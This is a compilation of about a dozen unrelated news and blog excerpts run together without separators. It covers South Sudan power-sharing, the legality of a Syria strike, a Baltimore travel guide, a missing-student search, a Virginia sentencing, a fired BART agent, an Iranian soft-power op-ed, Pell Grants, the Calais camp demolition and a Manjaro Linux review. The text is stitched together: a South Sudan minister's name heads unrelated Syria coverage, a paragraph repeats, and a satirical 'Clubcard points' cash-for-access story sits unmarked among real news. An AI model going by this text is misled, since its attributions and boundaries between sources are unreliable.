James Gatdet Dak, spokesperson for Riek Machar, SPLM-in opposition
Is the SPLM-IO satisfied with this sharing of ministerial portfolios?
Well, I can only say that we have accepted, not really satisfied, but we have accepted.
Why are you not satisfied?
Because we are for reforms, we want to introduce reforms, the government has been resisting the reforms, and because we don't trust the government to lead the reforms. We want important ministries that need reforms to be led by our representatives. So we would have wished that we also had other ministries such as defence and finance, plus a number of other ministries. But because it is power-sharing we expected not to get all those ministries. So we have accepted what we have, but we would have wished more.
Are you suggesting that the ministries that you've been given are maybe ministries that aren't quite as important as ministries that have been retained by the government?
Yes, some are important, but some are not. Some are important in the sense that they need reforms, building a transitional government before elections. So such ministries that need reforms are important at this particular time.
Barnaba Marial Benjamin, foreign minister, South Sudan
The United States forged ahead with preparations for a military strike against Syria in response to what it alleges was a chemical weapons attack last week by the government against rebel-occupied areas. The situation has sparked protests against both Syria and the United States and its allies, and Syria’s neighbors are preparing themselves for a possible conflict.
The United States forged ahead with preparations for a military strike against Syria in response to what it alleges was a chemical weapons attack last week by the government against rebel-occupied areas. The situation has sparked protests against both Syria and the United States and its allies, and Syria’s neighbors are preparing themselves for a possible conflict.
As the United States and its allies weigh limited military strikes against Syria, their lawyers have been exploring a range of legal frameworks for any operation, including propositions that members of the international community have the right to use force to protect civilians or to deter a rogue nation from using chemical weapons.
But the Obama administration’s efforts to build a legal case are encountering skepticism from U.N. officials and other experts, including former Republican and Democratic State Department lawyers, who argue that the use of force against the Syrian regime, absent a U.N. Security Council resolution, would be illegal.
“Using force in a situation like this could be seen as legitimate internationally and the right thing to do; that’s the policy­makers’ call,” said David Kaye, a former State Department lawyer who teaches international law at the University of California at Irvine. “But that’s different from saying it would be legal. It wouldn’t be, unless you had authorization of the Security Council.”
Kaye and other legal scholars say the U.N. Charter explicitly prohibits the use of force against other U.N. members, except in self-defense against an imminent threat or in an operation authorized by the 15-nation Security Council.
Although Britain said Wednesday that it would seek a Security Council resolution authorizing the use of force against Syria, the prospects for approval appear dim, given firm opposition from veto-wielding members Russia and China.
“I think that international law is clear on this,” said Lakhdar Brahimi, the U.N.-Arab League special envoy for Syria. “International law says that military action must be taken after a decision by the Security Council. That is what international law says. What will happen, then again, I don’t know.”
Speaking late Tuesday at the Peace Palace in The Hague, U.N. Secretary General Ban Ki-moon said the use of chemical weapons “would be an atrocious violation of international law.” Without singling out the United States directly, he counseled states to address the crisis in Syria through diplomatic means. “Here in the Peace Palace, let us say: Give peace a chance,” Ban said. “In this hall dedicated to the rule of law, I say: Let us adhere to the United Nations Charter.”
He added: “The military logic has given us a country on the verge of total destruction, a region in chaos and a global threat. Why add more fuel to the fire?”
A senior Obama administration official said the United States is exploring a number of possible legal arguments to justify an armed response to what officials believe is the worst chemical weapons attack since 1988, when then-Iraqi leader Saddam Hussein gassed more than 3,000 Kurds in the town of Halabja. The official spoke on the condition of anonymity to discuss internal deliberations.
As part of that effort, U.S. officials are examining international agreements, including the 1925 Geneva Protocol and the 1992 Chemical Weapons Convention, both of which ban the use of chemical arms. “The fact that there is a long-standing international norm around the use of chemical weapons, that provides legitimacy for the international community to respond,” the administration official said.
Although it would be a stretch to argue that Syria’s use of chemical weapons, if proven, constitutes a threat to the United States, the administration is also studying the possibility that U.S. force could be used in support of Syria’s neighbors, including American allies Jordan and Turkey, if those governments invoke the right to self-defense against Syria.
French President François Hollande invoked the responsibility-to-protect doctrine in making his case to “punish those who took the decision to harm the innocent.” In a speech to French ambassadors Tuesday, Hollande suggested that international law has not kept pace with the emerging international consensus on the need to act to halt mass atrocities. “International law must evolve with the times. It cannot serve as an excuse to allow mass murder,” he said.
U.S. presidents from both parties have long held that they are free from international constraints to use force in defense of American interests.
The United States and its allies have frequently undertaken military actions without Security Council approval. In 1999, the Clinton administration led a NATO air war in Kosovo. About four years later, the George W. Bush administration invaded Iraq without an explicit authorization from the U.N. Security Council.
The Obama administration also has asserted the right to act without the council’s endorsement. “When U.S. national security is threatened and the Security Council is unwilling to authorize the use of force but the president believes it is judicious to do so, of course that is something that he should be free to do,” Samantha Power, the U.S. ambassador to the United Nations, said last month at her confirmation hearing.
But U.S. government lawyers have been less willing to claim a special legal right to act. In Kosovo, Clinton-era policymakers were never able to prevail upon the State Department’s lawyers to characterize the NATO action as legal. Instead, the lawyers agreed to call it legitimate. In Iraq, the Bush administration argued that its legal authority derived from a 12-year-old resolution that ended the Persian Gulf War, a contention that was hotly contested by then-U.N. Secretary General Kofi Annan, who termed the Iraq war illegal.
In recent days, senior Obama administration officials have privately invoked the Kosovo intervention as a possible precedent. But legal scholars say that could prove problematic, because the United States has never released a legal defense of its decision to attack Serbia to halt mass abuses against ethnic Albanians in Kosovo. In authorizing the use of force, the Clinton administration argued that NATO’s military intervention in Kosovo should not constitute a precedent.
“It doesn’t provide a legal basis” for acting, said John Bellinger III, who served as lawyer for the State Department and the National Security Council during Bush’s second term. “Lawyers in both Republican and Democratic administrations have been concerned that a doctrine of humanitarian intervention could set a bad precedent that would be more likely to be used by other countries like Russia and China or some African countries,” which could invoke the principle of “humanitarian intervention” in attacking their enemies.
Both the Kosovo operation and the 2011 air assault in Libya, in which the United States participated, were launched with consensus within NATO. The alliance’s ambassadors have met to discuss the Syria situation. But the possibility of NATO intervention, which must begin with a request from a member nation under threat, has not yet been raised.
During the secretly filmed footage Mr Duncalf said 250 Clubcard points gave “premier league” access including the chance to influence how the Lib Dems have absolutely no influence on government policy.
On the recording Duncalf is heard to say, “A donation of about 50 Clubcard points will provide some of us with a day out at Ashdown Forest Llama Park.”
“If you can stretch to 250 then we’re talking Alton Towers, and for that you’ll get pretty much whatever you want.”
Cash for access
Party officials said no donation had actually been accepted, and insisted that no amount of Tesco Clubcard points would allow access to senior party members, even if it was enough for a Limited Edition Diamond Jubilee Croquet Set.
Mr Clegg said the claim was “completely unacceptable”.
“This is not the way that the Liberal Democrats raise supermarket loyalty points, it shouldn’t have happened,” he insisted.
“All our points are gained entirely legitimately by buying groceries and any claims to the contrary are completely untrue.”
Here, you are just an hour or so north of the high-end zip codes of Washington, D.C.; Manhattan is barely 200 miles in the other direction. Sometimes, though, it feels as if the only commonality between these places and Baltimore is the occasional Acela train whizzing through.
But lately, Charm City's convenient location — and its reasonably priced real estate — are speeding things up around here; early (and epic for their time) urban redevelopment projects along the Inner Harbor and at Camden Yards are now joined by sparkling new towers, repurposed industrial complexes, luxury condominiums and more ways to enjoy the waterfront. If you haven't been around here lately, you're in for a surprise. From the superbly classic to the brand spanking new, here are a few good reasons to fly in this spring.
1. Market share. There are many things that make Baltimore a bit different from the others. One of the most striking examples: the city's thriving neighborhood market halls, a throwback to a time before gigantic suburban supermarkets. Locals pack into Nick's Oyster Bar at the Cross Street Market, a focal point for the dynamic Federal Hill neighborhood; crab cakes at Faidley's — where muskrat and raccoon, both local delicacies, are still sold — remain a must at downtown's Lexington Market, which has been going strong on this very same spot since the 1700s. These days, there's a good bit of buzz on the newly-refurbished Belvedere Market, a small but vibrant part of the Belvedere Square shopping district on the city's north side. Here, it's all about local and artisanal; stop in for a slice of cheesecake or a hearty meat pie at Atwater's.
2. Get creative. Baltimore has inspired more than its share of great creatives. Catch a glimpse of tomorrow's big names today at the Maryland Institute College of Art, a campus that is practically one giant art gallery: Its exhibition spaces, both indoors and out, host more than 100 shows per year. In Federal Hill, behind a fancy Ritz-Carlton condominium complex, the American Visionary Arts Museum, one of the more unusual museums in the country, celebrates — in big, colorful block letters — the genre known as "outsider" art. On the more traditional side, you have the handsome Walters Art Museum, with its world-renowned and superbly diverse collection that spans thousands of years. Admission is always free.
3. Day drinking in Fell's Point. The cobblestone streets and handsome architecture that characterize this ancient (by American standards) neighborhood definitely look good on a postcard, but the way to really get into things in this thriving, Inner Harbor-adjacent district is to stop in on one of its many pubs — long before the happy hour crowds — for a beer or four. Where to start? If you like beer, you will head directly for Max's on Broadway, where they have more than 100 taps and the option to super-size your glass. (Careful, don't fall in.) If the taps don't do it for you, there are supposedly over 1,000 more beers in bottles. Bring yourself back to reality with a stiff espresso across the way at Pitango Gelato — and maybe even try their namesake as well, made with stunningly delicious local and seasonal fruits.
4. Local, local, local. Speaking of local and seasonal, Baltimore's always been big on whatever it can pull out of the water, but these days, some of its restaurants are taking things even further. The cheese, the wine, the shrimp, you name it, it's all Maryland (and all outstanding) at the rustic/ elegant Woodberry Kitchen, carved out of a decommissioned mill building just a few light rail stops off the Inner Harbor. If you only have one big meal out while you're in town, here you go. The always-hospitable Woodberry's strength is in its small plates and starters; make sure to sample as many as possible — particularly if there's seafood involved. Save room for inventive but comforting desserts and consider coming back for weekend brunch, too — a whole different kind of excellent.
5. Hampden 2.0. We'll all be dead and gone and they'll still be using John Waters and his beloved pink flamingoes as a tourist lure to this quirky neighborhood just west of the Johns Hopkins campus. Lately, though, Hampden seems to be moving with the times, as young and hip types settle in on the main drag, 36th Street, bringing new businesses like Spro Coffee — come in for a pour-over, single-estate, locally-roasted whatever — and the nearby Corner BYOB with its Gastronaut Society, a series of prix-fixe dinners with rather adventurous menus, held throughout the year.
6. Embrace the odd. Your town probably doesn't have an annual festival that includes such colorful events as a Preposterous Prosthetic Pageant (and Fashion Extravaganza of Body X-tensions) or an Outdoor Dinner Theater, where courses correspond to the theme of each performance. This is because your city is probably not Baltimore, where the singularly curious Transmodern Festival hits the city May 17-20.
"A lot of people want to help, but we need to tell people specifically how you can help,” volunteer, Fan Yang said.
Yang is just one of many volunteers spending countless hours every day working with the family of of Zhang after she went missing on Friday, June 9.
Police said she was allegedly kidnapped by a while male driving a black Saturn Astra on campus.
The family of Yingying drove out to Homer Lake and the Village of Ogden with hundreds of flyers -- handing them out to passersby and posting them around local parks and businesses.
“Yingying has been missing for 14 days already and the police has not given us any updates or the progress so the only thing we can do is just go out and send the posters to anywhere that where Yingying may be,” Zhang’s boyfriend, Xiao Lin said.
Volunteers created new flyers with more information added such as CrimeStoppers now offering a reward of $40,000 to anyone with tips that can lead to an arrest.
“We just want the public to spread the news and get the help as much as possible so if they have time, just maybe send the poster and just go out and kind of look for her,” Xiao Lin said.
Criminal Justice
Jury recommends life sentence for lawyer in home-invasion attack; victimized partner makes statement
Jurors in Fairfax County, Virginia, on Thursday recommended that lawyer Andrew Schmuhl receive two life sentences plus 98 years in prison for a 2014 home-invasion stabbing attack on a law firm managing partner and his wife.
Jurors recommended the sentence after the managing partner, Leo Fisher of the Arlington law firm Bean, Kinney & Korman, testified he has been filled with rage since the attack, the Washington Post reports. Fisher also said his wife, Susan Duncan, has had nightmares since the crime and has no interest in leaving home or seeing anyone.
The judge in the case will decide whether to affirm the jurors’ sentence in a hearing set for Aug. 26.
Schmuhl was accused of targeting Fisher because he had fired Schmuhl’s lawyer wife, Alecia Schmuhl, who is scheduled to go on trial in September. She was accused of waiting in the car during the attack and driving her husband from the scene.
Prosecutors said Schmuhl stabbed both Fisher and Duncan and slashed their necks in a “torture session.” Schmuhl left after Duncan was able to trigger an alarm.
Schmuhl, a former Army judge advocate and military magistrate, had claimed he was on painkillers and other medications during the attack and he doesn’t remember it. He was convicted on Tuesday of aggravated malicious wounding, abduction with pecuniary benefit, using a firearm during a felony, and burglary.
In a statement issued after jurors reached their decision, Fisher said he and his wife are “enormously grateful” that jurors convicted Schmuhl and gave him an “appropriate prison sentence.”
“However, this horrifically cruel ordeal is not over,” Fisher said. “We still face the September trial of his wife, Alecia.
“We simply want our lives back. We never wanted to become thought of as the people who were attacked by these criminals. We were just your son and daughter, your brother and sister, your friends, your colleagues, your buddies and your neighbors. That’s all we want to be—again.
“Sue is my hero. She saved our lives, in the most desperate situation.
“Both Sue and I want to thank all members of the Fairfax County Police and Fire Departments who responded to Sue’s alarm and 911 call for help. They are our heroes. They were true to their calling and we would not be here without them and the skillful actions they took so promptly on our behalf. The support of the Police Department’s Victims Services Section has been extraordinary.
“We also want to thank the doctors, nurses and other staff at INOVA Fairfax Hospital for their prompt and skillful efforts to keep us alive.
“Our families and friends have been steadfast in loving support of us throughout this long ordeal. Our families have been with us from the morning after the attack on us. My dear friends and colleagues at Bean, Kinney & Korman have been unstinting in their efforts to assist in our recoveries. We will never be able to repay adequately our families and friends for their many kindnesses to us.
“We await Alecia Schmuhl’s trial in September and a similarly just result.
I’ve been focusing too much on crappy buildings lately. Let’s pay attention to the positive, shall we? Southern California has plenty of well-kept, modest, charming neighborhoods, if you’re willing to look. All of the following homes are within a few blocks of one another in Tustin, CA.
Built in 1881, this was the southern California retreat of David Hewes, “the maker of San Francisco” who provided the golden spike at Promontory Point. Hewes is buried in Mountain View Cemetery, the final resting place of the wonderful Julia Morgan.
The McCharles House, built in 1885.
A few other Victorians, most were built around the late 1890s, early 1900s.
Flash-forward a couple of decades and the bungalow is the thing.
UPDATE:
I was in Orange, CA today, another human-scaled neighborhood in the normally car-dominated megalopolis. Here’s a sampling of what I saw. Like Tustin above, the neighborhood dates from the 1890s to 1920s, so the same mix of Victorian and Craftsman-style bungalow.
Love the sunroom on the right of this one.
Many of the houses have those little historic plaques near the doorway proudly displaying the age. Anything over a 100 years old in this part of the country might as well be medieval.
As I was shooting this one, the owner of the house immediately to the right outside the frame said, “Everyone is always taking pictures of that house.” The lack of trees between the houses makes for a nice line-up.
The arbor gate into a church.
This one looks more modern to me. Still fits in snugly with its surroundings.
Another eye-catching view.
The same architect as the McCharles house above? Or were they merely copying the color scheme? That green and purple-pink does lend an enchanted air.
When a 16-year-old boy was struggling to pay for his commute to school, BART station agent Jim Stanek gave him $300 in paid, unused tickets - and lost his job for it.
On Tuesday, his 66th birthday, he received a letter informing him he was fired.
"I feel devastated," the Novato resident, who worked for BART for seven years, told The Chronicle.
The transit system handed down its decision a week and a half after a hearing in which Stanek defended a situation that began this spring.
The 16-year-old, whose father died last year, was getting into trouble and performing poorly at a public school in Hercules. His grandparents, who live in Oakley and had stepped in to care for him, sent him to Flex Academy, a charter high school in San Francisco, where he is a junior and pulling better grades.
But the grandparents, a retired salesman and nurse, said they had trouble paying for him to get there. A round-trip ticket from the Pittsburg/Bay Point BART Station to the Powell Street BART Station costs about $11, which totals about $220 a month.
Stanek, a friend of the grandfather's, thought he could help. In the Daly City booth where he worked, there was $300 worth of paid, unused tickets. They were left behind, he said, by commuters who did not have a ticket when they exited the station and bought new ones they then gave to station agents.
Stanek said he gave the tickets to the teenager as an act of "benevolence," but was aware it broke the rules. He believed the tickets would be thrown away, he said. When the young rider was stopped by station agents, he explained where he got the passes, and Stanek was ultimately fired.
"Did I expect it? Yes," he said. "It's kind of the way things go with BART. I don't know if public opinion matters to them - it doesn't, I guess."
Stanek said he plans to appeal the decision through his union. He said the union will allow him to keep his health care and pension, whose amount he declined to state, for up to five years. Last year, his income was about $95,000.
Jim Allison, a BART spokesman, declined to comment on Stanek's situation because it is a personnel matter. But, he said, the transit system's policy is simple: No tickets are thrown away.
BART periodically collects unused tickets and deposits their value into the general fund, which pays for train operations and workers' salaries, Allison said. In March, BART collected nearly $10,000 this way, he said.
"I would hope that most people know that we don't have a culture of waste, that we are very much interested in making sure our customers know they're getting the best value for their dollar," Allison said. "That includes fiscal responsibility - tracking where all the tickets and all the money goes."
BART also administers a program called Tiny Tickets, which allows riders to donate unused tickets to a charity of their choice.
The transit system also offers students in participating schools a 50 percent discount on their school commutes. Flex Academy is enrolled in the program, said Royce Conner, head of the school, who did not know whether the 16-year-old rider was aware of it.
While much is made of Iran's hard power, the recent nuclear deal hints at the prospect of the country's untapped soft power being far more central to its long-term success in the 21st century. As the 13th-century Persian poet, Jalal ad- Din Muhammad Rumi, wrote:
"Raise your words, not voice. It is rain that grows flowers, not thunder."
To be sure, in Iran's conflict-ridden neighbourhood, the military instrument is critical to deterring would-be aggressors. The devastating 1980-1988 Iran-Iraq war taught Iranians this lesson at great cost in blood and national treasure. And yet hard power will not win the permanent admiration of Iran's neighbours, build lasting alliances, or indeed help Iran to leaven its relative isolation. As the Arab states of the Persian Gulf annually increase their military spending - largely in direct response to Iran's military capabilities - and with Tehran duly taking countermeasures, an acute security dilemma dictates the geopolitical logic of the region, fuelling instability and insecurity.
The Joint Comprehensive Plan of Action (the Iran nuclear deal), concluded in July 2015 between Iran, the P5+1 and the EU, which received UN Security Council backing through Resolution 2231 and resulted in the lifting of economic sanctions on Iran, was not only a major success for Iranian diplomacy - a tour de force, without a doubt - but also boosted Iran's soft-power credentials as a real player in the preservation of international peace and security (through peaceful means). That deal has created a golden opportunity internationally - and political space domestically - for the government in Tehran to devise and implement a comprehensive strategy to project soft power in a way that both mitigates the regional security dilemma and serves the national advantage.
Since the founding of the Islamic Republic in 1979, Iran has relied heavily on its unique Shia character as the basis of its soft power to galvanize support from pockets of Shia populations in a Sunni-dominated Middle East and Central Asia. This policy has been deliberate and strategic, with clear ideological underpinnings. While it has had its successes - including Iran's manifest clout today in Lebanon and Syria, or in Iraq after Saddam Hussein - its net effect is, by definition, limited in scope (and geography), constraining Tehran's ability to generate long-term strategic dividends.
Indeed, relying on the Shia character for soft power projection is arguably inconsistent with the Constitution of the Islamic Republic, which requires the government to formulate its foreign policy on the basis of "fraternal commitment to all Muslims," and its general policies "with a view to cultivating the friendship and unity of all Muslim peoples." Moreover, just as it limits the full reach of Iran's soft power beyond the Shia world, this approach also plays directly into sectarian divisions in the region; indeed, further entrenching alliances along sectarian lines. This is manifestly self-defeating, as it not only complicates Iran's already difficult security environment, but also further isolates the country within its own geopolitical space.
Given Iran's historical role, as well as its linguistic and cultural ties, in the 'Greater Iran' region - encompassing the Caucasus, West Asia, Central Asia, and stretching to parts of South Asia - the country has the potential to exert soft power to a 'natural market' - as it were - to advance its national interests. On this logic, the country can acquire greater influence regionally if, in addition to religious bonds, it skillfully invokes common historical, cultural, ethnic and linguistic ties with neighbouring states. Part of this push can involve, over time, a de facto reversal of some of the consequences of the Treaties of Gulistan (1813) and Turkmenchay (1828) - that is, closing the artificial gap that these Russo-Persian war capitulations created between Iranians and their brethren from the Caucasus over the last two centuries.
President Rouhani's carefully worded Nowruz message in March of this year is an example of such soft power in action. In a letter addressed to the heads of state of nine neighbouring countries celebrating this ancient new year tradition, he stated: "Nowruz is a festival of moderation and the most ancient dynamic tradition in our common history." He went on to encourage "the countries of the Nowruz Zone to establish better and further relations with each other, in addition to friendship and reconciliation and create modern conditions for peaceful coexistence based on the historic nuclear agreement between Iran and P5+1 and the lifting of sanctions." Much more such public diplomatic seduction is required.
Tehran should also capitalize on the momentum of the Iran nuclear deal to forge a network of states friendly to its interests, and to provide them with the necessary incentives to remain invested in such friendship through strategic partnerships, common projects, and financial cooperation. The tripartite agreement between Iran, India and Afghanistan, concluded this past May, to position the Iranian port of Chabahar as a transport and trade corridor is a case in point of a major national initiative that fits well into a larger soft-power push by Tehran. Such economic intermeshing may even lead to a common security regime over time, further integrating this triad. Other examples include efforts to revive the Silk Road trading route connecting Iran to China (through the Yiwu-Tehran train), the Iran-Azerbaijan agreement on trade and joint ventures to build hydroelectric plants and cooperation in respect of (increasingly scarce) water resources, as well as the International North-South Transport Corridor being explored between Russia, India, Iran and Central Asian states. Tehran should now look to extend similar projects to its Arab neighbours in the Persian Gulf, as well as to other states in the region and to other regional theatres - in full recognition of the fact that, with investment in political relationships and the necessary infrastructure, Iran could realistically become the region's principal international transit hub.
As I have argued in past, the Middle East is in dire need of a reengineering of the regional order through new institutions and structures that will enable it to better manage and avoid interstate conflict, and also to create opportunities for region- wide collaboration and integration. Of course, short of a comprehensive regional governance regime, Iran and Egypt were, in the 1970s, the first countries in the region to call for a Middle East Weapons of Mass Destruction Free Zone. The recent Iran nuclear deal, then, arguably sits within this tradition of working toward a nuclear-free zone, and provides Tehran with an opportunity to champion the idea of a new regional security architecture based on the concept of common security, free of weapons of mass destruction and anchored in a non-aggression pact. This would, of course, be a long-term vision with undeniable challenges. In the immediate term, therefore, Iran should seek the support of regional partners to establish a standing regional security forum to discuss issues of strategic concern, including the threat from Daesh, cross-border terrorism, and internally displaced populations. By doing so, Iran - and the region- could gain immeasurably. Tehran should not be shy in positioning itself conspicuously as a leader in the promotion of regional peace and stability.
Turning to cultural and people-to-people diplomacy, given Iran's rich literary and artistic tradition, it stands to reason that the country's filmmakers, actors, musicians, writers, poets, craftsmen, artists and athletes should be better known and celebrated in the world than they are today. They are worthy of funding and support in their own right, but for strategic purposes, they are a major source of untapped Iranian soft power in the region and internationally. The arts create intangible bonds of affection and affinity amongst peoples. You can't hate what you admire; you can't demonise what attracts. In that sense, art can serve as that crucial connecting bridge between peoples. Iran's soft power will be all the more potent when its art power is on full display.
On this same logic, the promotion and mainstreaming of the Persian language abroad should be prioritized by strategists in Tehran. While some efforts are already underway in this regard, they need to be bolstered. Moreover, one of the other central pillars of Iran's cultural diplomacy should also be continued commitment to inter-religious dialogue, building on past initiatives such as the Dialogue Among Civilizations, introduced by former Iranian president Mohammad Khatami.
An exquisite Iranian rug adorning the interior walls of the North Delegates Lounge at the United Nations (UN) Headquarters in New York. The rug, which contains an inscription by the classical Persian poet Sa'adi (c.1184-1292), was presented to the UN by Iran in 2005, "honoring the UN Year of Dialogue among Civilizations." Photo credit: UN Photo/Mark Garten
An effective soft power strategy would also require the agents of this crucial work to be conversant in the tongues of their audience. Many countries around the world - and particularly some of the most strategically astute countries - already profit from the competitive advantage of competence in a multitude of tongues. The more languages the Iranian knows, the more effectively she or he can make an imprint beyond Iranian borders.
While preserving Persian as the official language and script of the country, it is in Iran's interests to invest in a national languages strategy that will generate a critical mass of Iranians fluent not only in Persian but also Arabic (beyond grades six to 11), Turkish and other languages of the region. The English language should be taught earlier - ideally from the primary school level, as prescribed by countless pedagogical studies around the world. Scientific studies have indeed confirmed that learning additional languages at a young age has many benefits. In addition to ease in mastering the language itself, it promotes critical thinking, creativity, and overall strengthens cognitive ability. We might therefore eventually envisage an Iran where the average Iranian, in addition to Persian, also masters Arabic, Turkish, English and at least one other foreign tongue - say, French, Russian, Spanish, Chinese or German.
Iran's ability to maximize its soft-power potential also surely rests on the quality of domestic governance - that is, its ability to keep its own house in order and ensure the general well-being and happiness of its citizens. Easing rigid state regulation of, and restrictions on, the private lives of Iranians, and taking steps to protect, and be seen to protect, human rights will be crucial not only for greater social cohesion and harmony - and ultimately, a stronger, united Iran - but also for Tehran's ability to credibly project soft power abroad.
In this same vein, Iran's multiethnic, linguistic and religious diversity should also be seen as an important part of the country's soft-power toolbox. Iran should fully embrace this diversity not just for its intrinsic virtues, but also to ensure internal stability, and to demonstrate to the world that the country has an open and tolerant society. With a number of militant organizations, conceived on ethnic lines - and often supported by external elements - operating in Iran and posing a threat to national security and unity, Tehran's countermeasures should include a targeted strategy of winning the hearts and minds of the country's ethnic minorities in order to strengthen their loyalty to land and country.
It is conceded that Iran does not benefit from the safety buffer of geographical isolation. As such, concessions with respect to the country's minorities can have a geopolitical dimension. That said, the status quo is not sustainable and will only embolden Iran's enemies to sow the seeds of internal discord and disunity with serious risk for the country's territorial integrity. Where legitimate, the government should properly address the grievances of these minorities. Intense and active consultation with minority groups should form part of this strategy of redress. The socioeconomic health of ethnic minorities in the aftermath of the lifting of sanctions is one area in obvious need of attention by Tehran. So too is the opportunity to create new programmes to meaningfully celebrate Iran's multiethnic and multilingual population - something anticipated by Articles 15 and 19 of the Iranian Constitution.
Bref, diminishing internal discord in the country can only help Iran to more sustainably project influence beyond its borders, and also to parry disruptive forces and designs from outside the country. And while there is no substitute for hard power, which clearly has its place in Iranian strategy, the soft power dimension is for now underplayed and underappreciated in Tehran. But a proper national soft power strategy and push may be just the energy that the country and the region need to reckon with some of the vexing challenges of this early new century.
*The views expressed are the author's alone.
And Kimbo will be fighting in Miami. Miami, Okla., that is, at the Buffalo Run Casino and currently is without an opponent.
From the press release:
"Kimbo was always meant to be in the ring," said Jared Shaw, Team Kimbo Promotional Advisor. "He's one of the hardest punchers in the world and on August 13, his journey to becoming America's heavyweight begins. The first stop will be Oklahoma in what will become the Kimbo Slice Express."
Longtime friend and manager, Mike Imber, said that Slice has been training for his debut with his longtime boxing coach Randy Khatami and also spent some time in top-rated contender Alfredo Angulo's camp, working with trainer Clemente Medina.
"He's completely focused on his boxing career and excited to showcase his talents inside the squared circle," continued Shaw. "Kimbo Slice is hungry and when that man wants his bread, he's scary."
Slice went 4-2 in MMA and was released from the UFC after a second-round TKO loss to Matt Mitrione at UFC 113 last year. He's been quiet since. He started his career with three straight stoppage wins, including headlining the first-ever prime time broadcast of MMA on network television in America, besting James Thompson by third-round TKO at "EliteXC: Primetime" in May 2008.
Enlarge this image toggle caption Andrew Harnik/AP Andrew Harnik/AP
President Obama has increased college aid by over $50 billion since coming into office. And he's trying to do more.
Acting Education Secretary John King announced two new proposals today that would expand the Pell Grant program, the biggest pot of federal money for students with financial need:
Year-round Pell. Currently, students are only eligible for two semesters of Pell grants in a school year. Today's proposal would allow students to get extra money to cover a third session of, say, summer courses.
Currently, students are only eligible for two semesters of Pell grants in a school year. Today's proposal would allow students to get extra money to cover a third session of, say, summer courses. The On-Track Bonus. To complete an associate's degree in two years or a bachelor's degree in four, a student generally needs to earn at least 15 credits per semester. But the technical definition of "full time student" is only 12 credits. The Education Department wants to reward students who take at least a 15-credit course load with as much as $300 extra per year.
Both of these ideas are examples of a current trend in higher education: financial aid used as a carrot to encourage students to complete their degrees. The 2013 graduation rate for first-time, full-time students seeking a bachelor's degree was just 59 percent after six years. And the three-year graduation rates for associate's degrees was a dismal 29 percent. That means a lot of taxpayer-funded assistance goes to students who simply don't finish their studies.
Will offering students a few hundred dollars, or even a few thousand, be enough to get them taking more courses and earning their degrees? So far, the evidence supporting this approach is mixed.
The demolition work began on the second day of a massive operation to clear the squalid settlement in northern France, where an estimated 6,000-8,000 migrants, mostly Afghans, Sudanese and Eritreans, have been living.
"The start of the clean-up operations sends a sign that La Lande camp is really over," said Fabienne Buccio, head of security in the region, using the official name for the camp known as the Jungle.
The finality of the operation was driven home by the demolition operation, as mattresses, blankets, clothes, pots and suitcases left behind by the migrants were piled on top of the wood and plastic sheeting used in their shacks.
Wearing hard hats and orange overalls the workers used electric saws to take down wooden shelters and earth-moving equipment to clear debris from the site that has for years been a launchpad for attempts to reach Britain.
Riot police carrying shields sealed off the area.
Beforehand, aid workers and officials had gone tent-to-tent to ensure the area had been vacated.
Since Monday, around 2,700 people have been transferred to shelters around France while around 600 unaccompanied minors have been moved to a container park in the Jungle where families had been staying, Interior Minister Bernard Cazeneuve said.
Others, including a number of Afghans, are waiting until Wednesday, billed as the last day for bus transfers.
Ali Othman, a Sudanese 18-year-old vowed he would not leave voluntarily.
"They can detain me, jail me, throw me out on the street. I still want to go to Britain." he said, smoking a cigarette outside his tent.
But the sprawling shantytown, one of Europe's biggest slums, was rapidly becoming a ghost town.
"It makes me sad to see the camp in this state," said Marie Paule, a charity worker who started volunteering at the Jungle last year.
"I have a heavy heart... but it's the best solution for them."
The migrants face a choice between requesting asylum in France or being possibly deported.
British commitments
Earlier Tuesday, hundreds of anxious minors queued to be interviewed by French and British officials who will decide their fate.
The Doctors Without Borders (MSF) charity accused officials picking those who will be accepted into Britain of excluding a number of children by selecting on the basis of appearance.
Cazeneuve said all unaccompanied minors "with proven family links in Britain" would eventually be transferred and that London had also committed to reviewing all other cases where it was "in the child's interest" to settle across the Channel.
Britain has taken in nearly 200 teenagers over the past week. Hundreds more are waiting for a decision.
British Interior Minister Amber Rudd pledged to bring eligible children from France to Britain "as quickly and as safely as possible" in the coming days and weeks, without specifying numbers.
Located on wasteland next to the port of Calais, the four-square-kilometre (1.5-square-mile) Jungle has become a symbol of Europe's failure to resolve its worst migration crisis since World War II.
More than one million people fleeing war and poverty in the Middle East, Asia and Africa poured into Europe last year, sowing divisions across the 28-nation bloc and fuelling the rise of far-right parties.
'Great relief'
Calais has long exerted a pull on migrants who try to board lorries or jump onto trains heading across the Channel to England, where they believe their job and integration prospects to be better than in France.
Over the past year, police have battled near-nightly attempts by migrants to climb onto trucks bound for Calais port -- a perilous pursuit that has cost dozens of migrants their lives.
Calais Mayor Natacha Bouchart said seeing people queue to leave the camp was "a great relief."
But many locals fear more camps will sprout up in the area once the Jungle is razed.
Around France, the resettlement of asylum-seekers has met with a mix of hostility and solidarity. Villagers in the wine-making hamlet of Chardonnay gave two dozen Sudanese youths a chilly reception on Monday while Paris and Nantes saw small pro-migrant rallies.
Back in the Juno togle, Arbat, a 25-year-old Sudanese migrant, said he was ready to move on.
"I know my future is no longer here," he said in good French, adding that he wants to marry a French woman.
Never having used Manjaro before I have to say that, at least with the Xfce version, this is a polished and snappy distribution. It reminds me quite a bit of what you would find with Linux Mint Cinnamon only much faster. Reading the About page on their website seems to confirm this thought as it presents itself in comparison to Arch Linux as the Linux Mint of Ubuntus or perhaps the elementary OS of Linuxes:
Manjaro is a user-friendly GNU/Linux distribution based on the independently developed Arch Linux. Within the Linux community, Arch itself is renowned for being an exceptionally fast, powerful and lightweight distribution that provides access to the very latest cutting-edge software. However, Arch is also traditionally aimed at more experienced or technically-minded users. As such, it is generally considered to be beyond the reach of many, especially those who lack the technical expertise (or persistence) required to use it. For newcomers, a user-friendly installer is provided, and the system itself is designed to work fully “straight out of the box”...
So what comes with Manjaro you ask? Well I’m glad you asked! For Browser and E-mail it uses Mozilla’s Firefox and Thunderbird respectively. These are solid applications and my standard go-tos as well. It also includes quite a few utilities like a bulk file renamer and sensor viewer for power users.
Interestingly it also comes pre-loaded wth some Qt development tools for some reason. I’m not sure why this is included by default but… there you go. Cooler than that though is that it comes with Steam already installed so you can jump right into your games as quickly as possible.
For music it comes with the Guayadeque Music Player which is an application I’ve never even heard of before. I’ll have to dig into this one a bit more before I can give my impressions on it but for now have a screenshot!
VLC rounds out the rest of the multimedia applications which is a solid choice.
